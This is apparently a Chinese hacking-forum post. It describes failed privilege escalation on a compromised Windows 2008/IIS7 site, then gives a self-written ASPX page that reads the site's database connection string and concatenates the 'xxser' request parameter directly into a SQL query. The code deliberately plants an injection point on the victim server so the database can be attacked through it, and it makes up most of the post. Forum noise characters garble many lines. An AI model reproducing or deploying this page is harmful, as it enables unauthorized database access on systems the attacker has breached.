昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。3 R" G; @ o$ B) d$ n
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
; O! j# Z0 W" _# b% W: @9 w4 ]/ R' v( E代码量不多,自己写个拉倒了。烦死了。* Q9 S& E9 T- o4 g
0 a6 z+ c0 D/ Z" y
* Y% J6 w' v) d0 b; X$ N<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">* g) t/ Q1 e/ R" Q B [
<html xmlns="http://www.w3.org/1999/xhtml">
! N+ _% v! B3 D<head runat="server">
& G* i! e# E2 [. W <title>暗影aspx构造注射专用页面</title>0 u$ K# ^9 d" q6 o- }: w
</head>
0 b! e) P8 z+ B8 c3 l$ T2 \<body>
% \+ _& G" B5 g <form id="form1" runat="server">7 E o5 L$ E! Z2 H5 ?/ X
<div>
. Z, d- E/ }$ M6 X <script language="c#" runat="server">
0 {# a0 \4 V( `& T% z7 d
! S. X5 O9 k9 \% | void page_init(object sender, EventArgs e)1 A9 m: N9 p9 o( g1 D" l
{
& }# B% X* F$ [ Q4 \) Y
3 G4 `3 y; Q8 @# G. \9 Q System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
1 `: e( k( s+ I # k) g3 M* G# g
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();5 y5 m# B. b+ W) W
conn.Open();% ~6 `: t$ e( X7 Z4 ~
& l5 ^8 _, i+ Q; R8 c9 M/ S" I+ W string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1% e1 m) u: ~7 I, J& @% E7 Y
* H* \; c$ s* S# p: W9 s4 E
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
# G _2 H H& e) J/ C int x = command.ExecuteNonQuery();
+ B& Z1 j0 P) n! B/ m Response.Write(i+"\n");
% M m" ^; v5 N) U; b Response.Write(x);% I9 g- i% P5 O: S
conn.Close();1 u' w# G) Q/ {& h* K+ E s$ Z
}
) @# p: }8 p; g; p! c
9 x' a0 z/ Y; F9 _' D) m" \. x </script>
* x( n1 M3 T( ^# d4 A </div>
8 {( [/ g. |& L$ N4 y! x1 D. o0 b! I </form>
1 v: A2 n. k9 H0 v</body>
! O' P1 q, f( c1 j4 j, |</html>
6 m1 l! O0 J5 Q3 c' X |